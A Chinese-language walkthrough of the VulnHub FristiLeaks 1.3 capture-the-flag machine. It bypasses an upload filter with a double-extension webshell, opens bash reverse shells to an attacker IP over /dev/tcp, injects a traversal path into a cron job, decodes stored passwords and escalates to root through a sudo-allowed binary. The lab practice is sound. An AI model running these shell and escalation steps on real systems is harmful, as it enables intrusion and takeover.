赞
踩
靶机下载地址:
https://download.vulnhub.com/fristileaks/FristiLeaks_1.3.ova
配置虚拟机靶场 MAC address to: 08:00:27:A5:A6:76
通过扫描端口只开放了80端口
robots.txt
User-agent: *
Disallow: /cola
Disallow: /sisi
Disallow: /beer
三个目录访问都是一个图片,没有价值
从首页图片上的字母记录下面,后续会用到
keep
calm
drink
fristi
fristi 是一个登录页面
http://192.168.78.153/fristi/
查看HTML源代码时,发现页面中两处有注释
第一处注释 eezeepz 应该是用户名
第二处注释 为图片的base64编码
在HTMl页面中使用下面代码读取图片
<img src="data:img/png;base64,base64编码>
keKkeKkeKKeKkEkkEk
猜测为eezeepz用户的密码
eezeepz keKkeKkeKKeKkEkkEk
登录成功
使用账户密码登录后,有个文件上传功能
测试文件上传,设置了白名单功能,只允许png,jpg,gif
格式上传
但是他的Apache 2.2.15版本存在解析漏洞
1.%0a(CVE-2017-15715) 也可在php后面写入`%0A`,对`%0A`做一个URL编码,也就是`URL-decode`
2.未知后缀 test.php.png
将文件名设置 88.php.png
上传成功
文件上传路径:http://192.168.78.153/fristi/uploads/2111.php.png
使用webshell工具连接
查看配置文件信息,一般数据库账户就是ssh账户
/var/www/html/fristi//checklogin.php
$host="localhost"; // Host name
$username="eezeepz"; // Mysql username
$password="4ll3maal12#"; // Mysql password
$db_name="hackmenow"; // Database name
$tbl_name="members"; // Table name
反弹shell命令
nc -lvnp 1234
/bin/bash -i >& /dev/tcp/192.168.78.152/1234 0>&1
python -c 'import pty;pty.spawn("/bin/bash")' 进入完全交互式
切换eezeepz 发现数据库的密码不对,思路不对
去home目录下,翻找文件,有3个用户
三个用户,只有eezeepz用户目录可查看
在eezeepz目录下有个notes.txt文件,提示提权信息
/home/eezeepz//notes.txt
tmp目录创建runthis 文件
echo "/bin/bash -i >& /dev/tcp/192.168.78.152/1245 0>&1" >> runthis
这种写法不行,离谱
command did not start with /home/admin or /usr/bincommand did not start with /home/admin or /usr/bincommand did not start with /home/admin or /usr/bincommand did not start with /home/admin or /usr/bincommand did not start with /home/admin or /usr/bincommand did not start with /home/admin or /usr/bincommand did not start with /home/admin or /usr/bin
这样就可以
echo "/usr/bin/../../bin/chmod -R 777 /home/admin" >/tmp/runthis
创建文件后就可以查看admin目录,创建runthis获取admin用户权限,主要用cronjob.py脚本实现
admin目录下 cryptedpass.txt,whoisyourgodnow.txt 两个txt文件内容加密了,使用cryptpass.py脚本加密的,只需要解密就可以了
#cryptpass.py
#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
import base64,codecs,sys
def encodeString(str):
base64string= base64.b64encode(str)
return codecs.encode(base64string[::-1], 'rot13')
cryptoResult=encodeString(sys.argv[1])
print cryptoResult
解密脚本
import base64, codecs, sys
def decodeString(encoded_str):
base64string = codecs.decode(encoded_str, 'rot13')[::-1]
decoded_str = base64.b64decode(base64string)
print(decoded_str)
decodeString("=RFn0AKnlMHMPIzpyuTI0ITG")
cryptedpass.txt,whoisyourgodnow.txt 两个文件解密内容
经过测试下面两个密码分别为 admin和 fristigod 密码
admin thisisalsopw123
fristigod LetThereBeFristi!
切换 fristigod 用户
su fristigod
sudo -l
Matching Defaults entries for fristigod on this host:
requiretty, !visiblepw, always_set_home, env_reset, env_keep="COLORS
DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS", env_keep+="MAIL PS1
PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE
LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY
LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL
LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User fristigod may run the following commands on this host:
(fristi : ALL) /var/fristigod/.secret_admin_stuff/doCom
以fristi用户执行doCom 文件,先进入/var/fristigod/.secret_admin_stuff 路径
sudo -u fristi ./doCom
执行文件后提示
Usage: ./program_name terminal_command …
说明执行文件方法不对,需要在文件空格加上命令
sudo -u fristi ./doCom id
可以看到确实是root权限了,读取flag文件
sudo -u fristi ./doCom cat /root/fristileaks_secrets.txt
最有趣的就是提权部分了,定时任务提权,python Base64 + rot13 加密,sudo -l 等等。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。